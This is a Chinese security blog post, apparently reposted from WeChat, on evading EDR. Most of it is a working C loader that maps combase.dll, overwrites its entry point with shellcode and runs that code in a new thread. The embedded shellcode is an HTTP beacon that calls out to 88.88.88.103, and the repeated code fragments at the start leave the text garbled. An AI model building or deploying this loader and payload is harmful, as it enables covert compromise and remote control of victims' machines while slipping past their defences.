0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37,
0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3,
0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E,
0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16,
0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1,
0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB,
0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E,
0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67,
0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8,
0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0,
0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B,
0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18,
0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A,
0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31,
0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00,
0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89,
0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9,
0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6,
0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00,
0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E,
0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0
};
#endif
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
HANDLEhFile = INVALID_HANDLE_VALUE;
hFile = CreateFileW(L"C:\Windows\System32\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
PHANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
ULONG_PTR uMappedModule = NULL;
SIZE_TsViewSize = NULL;
NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);
//获取dos头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
//遍历节头找到.text部分
PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
ULONG_PTR uTextAddress = NULL;
SIZE_T sTextSize = NULL;
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
//节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。
if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
//获取.text部分的起始地址和大小。
uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress;
sTextSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
//获取入口点
PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
//计算从入口点到.text部分末尾的大小
SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress);
//判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小
if (sTextSizeLeft >= sizeof(shellcode)) {
printf("可以注入!!!");
}
}
shellcode
了。注入shellcode
非常简单,只需该内存区域更改为可读可写,将其shellcode通过memcpy
函数写进去,再通过VirtualProtect
将其更改为可执行,最后通过创建线程的方式来指向该内存区域的起始地址就可以执行了。#include <windows.h>
#include <stdio.h>
#include <winternl.h>
// 手动定义 SECTION_INHERIT
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef NTSTATUS(NTAPI* pNtCreateThreadEx)(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine, // 线程执行的函数地址
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags, // 0x4 表示隐藏线程
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PVOID AttributeList OPTIONAL
);
// NtCreateSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
PLARGE_INTEGER MaximumSize OPTIONAL,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle OPTIONAL
);
// NtMapViewOfSection 函数指针定义
typedef NTSTATUS(NTAPI* pNtMapViewOfSection)(
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset OPTIONAL,
PSIZE_T ViewSize,
SECTION_INHERIT InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define DEMON
#ifdef DEMON
unsigned char shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x66, 0x81, 0x78,
0x18, 0x0B, 0x02, 0x75, 0x72, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67,
0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56,
0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24,
0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41,
0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83,
0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x4F, 0xFF,
0xFF, 0xFF, 0x5D, 0x6A, 0x00, 0x49, 0xBE, 0x77, 0x69, 0x6E, 0x69, 0x6E, 0x65, 0x74, 0x00, 0x41,
0x56, 0x49, 0x89, 0xE6, 0x4C, 0x89, 0xF1, 0x41, 0xBA, 0x4C, 0x77, 0x26, 0x07, 0xFF, 0xD5, 0x48,
0x31, 0xC9, 0x48, 0x31, 0xD2, 0x4D, 0x31, 0xC0, 0x4D, 0x31, 0xC9, 0x41, 0x50, 0x41, 0x50, 0x41,
0xBA, 0x3A, 0x56, 0x79, 0xA7, 0xFF, 0xD5, 0xEB, 0x73, 0x5A, 0x48, 0x89, 0xC1, 0x41, 0xB8, 0x61,
0x1F, 0x00, 0x00, 0x4D, 0x31, 0xC9, 0x41, 0x51, 0x41, 0x51, 0x6A, 0x03, 0x41, 0x51, 0x41, 0xBA,
0x57, 0x89, 0x9F, 0xC6, 0xFF, 0xD5, 0xEB, 0x59, 0x5B, 0x48, 0x89, 0xC1, 0x48, 0x31, 0xD2, 0x49,
0x89, 0xD8, 0x4D, 0x31, 0xC9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xBA, 0xEB,
0x55, 0x2E, 0x3B, 0xFF, 0xD5, 0x48, 0x89, 0xC6, 0x48, 0x83, 0xC3, 0x50, 0x6A, 0x0A, 0x5F, 0x48,
0x89, 0xF1, 0x48, 0x89, 0xDA, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x31, 0xC9, 0x52,
0x52, 0x41, 0xBA, 0x2D, 0x06, 0x18, 0x7B, 0xFF, 0xD5, 0x85, 0xC0, 0x0F, 0x85, 0x9D, 0x01, 0x00,
0x00, 0x48, 0xFF, 0xCF, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0xEB, 0xD3, 0xE9, 0xE4, 0x01, 0x00,
0x00, 0xE8, 0xA2, 0xFF, 0xFF, 0xFF, 0x2F, 0x7A, 0x47, 0x6B, 0x31, 0x00, 0xC4, 0x8F, 0x78, 0xBD,
0x62, 0x9C, 0xBC, 0x6F, 0xEA, 0x30, 0x98, 0x43, 0xEF, 0xC1, 0x45, 0xE5, 0x58, 0xF8, 0xBB, 0xEA,
0xAB, 0x02, 0xF3, 0x0A, 0x13, 0x81, 0xE9, 0xA3, 0x1E, 0x54, 0xF2, 0x5E, 0x08, 0x98, 0x21, 0xFB,
0x7D, 0x47, 0x10, 0xBA, 0x60, 0xA0, 0x83, 0x82, 0xFE, 0x10, 0x64, 0xBF, 0x7A, 0xD0, 0xF6, 0xCE,
0xA0, 0xA9, 0x59, 0x90, 0x54, 0x88, 0x88, 0xDA, 0x20, 0xBF, 0x82, 0xFA, 0xAA, 0x43, 0x6D, 0x8E,
0x45, 0x59, 0x13, 0x09, 0x16, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2D, 0x41, 0x67, 0x65, 0x6E, 0x74,
0x3A, 0x20, 0x4D, 0x6F, 0x7A, 0x69, 0x6C, 0x6C, 0x61, 0x2F, 0x34, 0x2E, 0x30, 0x20, 0x28, 0x63,
0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6C, 0x65, 0x3B, 0x20, 0x4D, 0x53, 0x49, 0x45, 0x20,
0x38, 0x2E, 0x30, 0x3B, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x4E, 0x54, 0x20,
0x36, 0x2E, 0x31, 0x3B, 0x20, 0x57, 0x4F, 0x57, 0x36, 0x34, 0x3B, 0x20, 0x54, 0x72, 0x69, 0x64,
0x65, 0x6E, 0x74, 0x2F, 0x34, 0x2E, 0x30, 0x3B, 0x20, 0x53, 0x4C, 0x43, 0x43, 0x32, 0x3B, 0x20,
0x2E, 0x4E, 0x45, 0x54, 0x20, 0x43, 0x4C, 0x52, 0x20, 0x32, 0x2E, 0x30, 0x2E, 0x35, 0x30, 0x37,
0x32, 0x37, 0x29, 0x0D, 0x0A, 0x00, 0x6B, 0xA3, 0x29, 0xED, 0x1C, 0xA8, 0x79, 0x69, 0x25, 0xE3,
0x11, 0x43, 0xEF, 0x68, 0xD6, 0x42, 0x29, 0xB5, 0x7A, 0x19, 0x99, 0x61, 0x7E, 0x98, 0x95, 0x9E,
0x59, 0x86, 0xC4, 0xF8, 0x2A, 0x07, 0xF6, 0x58, 0x29, 0x13, 0xB7, 0x5C, 0x00, 0x5B, 0x3B, 0x16,
0x77, 0xC2, 0xE9, 0x51, 0x76, 0xDF, 0xCB, 0x7D, 0x0D, 0xA1, 0x78, 0x45, 0x39, 0xDD, 0x48, 0xB1,
0xEA, 0xCB, 0xBE, 0x61, 0xE3, 0xD9, 0x7D, 0x5B, 0x8C, 0x01, 0x2E, 0x54, 0xBF, 0x5E, 0x09, 0xAB,
0xD4, 0xFC, 0x02, 0xEE, 0x8B, 0x01, 0x2D, 0xAA, 0x0F, 0xEC, 0x89, 0xF9, 0x6B, 0x0A, 0x79, 0x7E,
0xDF, 0x78, 0x55, 0xD3, 0xEE, 0x38, 0x1C, 0x7C, 0xD4, 0x90, 0x85, 0xE8, 0x7D, 0x16, 0x7E, 0x67,
0x3D, 0x5C, 0x6E, 0xBE, 0x59, 0xB8, 0x05, 0xB7, 0x7C, 0xBE, 0x24, 0xC9, 0x90, 0x16, 0x9E, 0xA8,
0x3C, 0xDE, 0x68, 0x68, 0x2E, 0x9B, 0x98, 0x70, 0xF7, 0xFA, 0x28, 0xA7, 0x31, 0x0B, 0xC5, 0xD0,
0xB3, 0xF6, 0x17, 0x36, 0x21, 0x9E, 0x06, 0xF8, 0x16, 0x84, 0x07, 0xA4, 0xD9, 0xEB, 0xB2, 0x6B,
0xF9, 0xB8, 0xEB, 0x0D, 0x24, 0xE3, 0x0A, 0x8F, 0x10, 0xA4, 0x6A, 0xB5, 0x0F, 0xF0, 0x5F, 0x18,
0xE0, 0x4B, 0x15, 0x91, 0xC1, 0x83, 0x03, 0x4A, 0xEC, 0xAA, 0x46, 0xC1, 0x71, 0x94, 0x3D, 0x3A,
0xB7, 0x6D, 0xB3, 0x47, 0xF8, 0x00, 0x41, 0xBE, 0xF0, 0xB5, 0xA2, 0x56, 0xFF, 0xD5, 0x48, 0x31,
0xC9, 0xBA, 0x00, 0x00, 0x40, 0x00, 0x41, 0xB8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xB9, 0x40, 0x00,
0x00, 0x00, 0x41, 0xBA, 0x58, 0xA4, 0x53, 0xE5, 0xFF, 0xD5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89,
0xE7, 0x48, 0x89, 0xF1, 0x48, 0x89, 0xDA, 0x41, 0xB8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xF9,
0x41, 0xBA, 0x12, 0x96, 0x89, 0xE2, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x20, 0x85, 0xC0, 0x74, 0xB6,
0x66, 0x8B, 0x07, 0x48, 0x01, 0xC3, 0x85, 0xC0, 0x75, 0xD7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00,
0x00, 0x00, 0x00, 0x50, 0xC3, 0xE8, 0x9F, 0xFD, 0xFF, 0xFF, 0x38, 0x38, 0x2E, 0x38, 0x38, 0x2E,
0x38, 0x38, 0x2E, 0x31, 0x30, 0x33, 0x00, 0x00, 0x01, 0x86, 0xA0
};
#endif
int main() {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
pNtCreateSection NtCreateSection = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection NtMapViewOfSection = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
HANDLEhFile = INVALID_HANDLE_VALUE;
hFile = CreateFileW(L"C:\Windows\System32\combase.dll",GENERIC_READ, 0,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);
PHANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_ALL_ACCESS,NULL,0x00, PAGE_READONLY, SEC_IMAGE, hFile);
ULONG_PTR uMappedModule = NULL;
SIZE_TsViewSize = NULL;
NtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule,NULL,NULL,NULL,&sViewSize, ViewShare, NULL,PAGE_EXECUTE_READWRITE);
//获取dos头
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
//遍历节头找到.text部分
PIMAGE_SECTION_HEADER pImgSecHdr = IMAGE_FIRST_SECTION(pImgNtHdrs);
ULONG_PTR uTextAddress = NULL;
SIZE_T sTextSize = NULL;
for (int i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
//节名称在比较时使用了小写比较,0x20202020是为了忽略大小写。
if ((*(ULONG*)pImgSecHdr[i].Name | 0x20202020) == 'xet.') {
//获取.text部分的起始地址和大小。
uTextAddress = uMappedModule + pImgSecHdr[i].VirtualAddress;
sTextSize = pImgSecHdr[i].Misc.VirtualSize;
break;
}
}
//获取入口点
PULONG_PTR pEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
//计算从入口点到.text部分末尾的大小
SIZE_T sTextSizeLeft = sTextSize - ((ULONG_PTR)pEntryPnt - uTextAddress);
//判断从入口点到.text部分末尾的大小是否大于或等于有效载荷的大小
if (sTextSizeLeft >= sizeof(shellcode)) {
printf("可以注入!!!");
}
DWORDdwOldProtection = 0x00;
VirtualProtect(pEntryPnt, sizeof(shellcode), PAGE_READWRITE, &dwOldProtection);
memcpy(pEntryPnt, shellcode, sizeof(shellcode));
VirtualProtect(pEntryPnt, sizeof(shellcode), dwOldProtection, &dwOldProtection);
pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
PHANDLE hThread = NULL;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, NtCurrentProcess(), pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL);
WaitForSingleObject(hThread, INFINITE);
}
原文始发于微信公众号(Relay学安全):EDR专题学习-对抗EDR
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论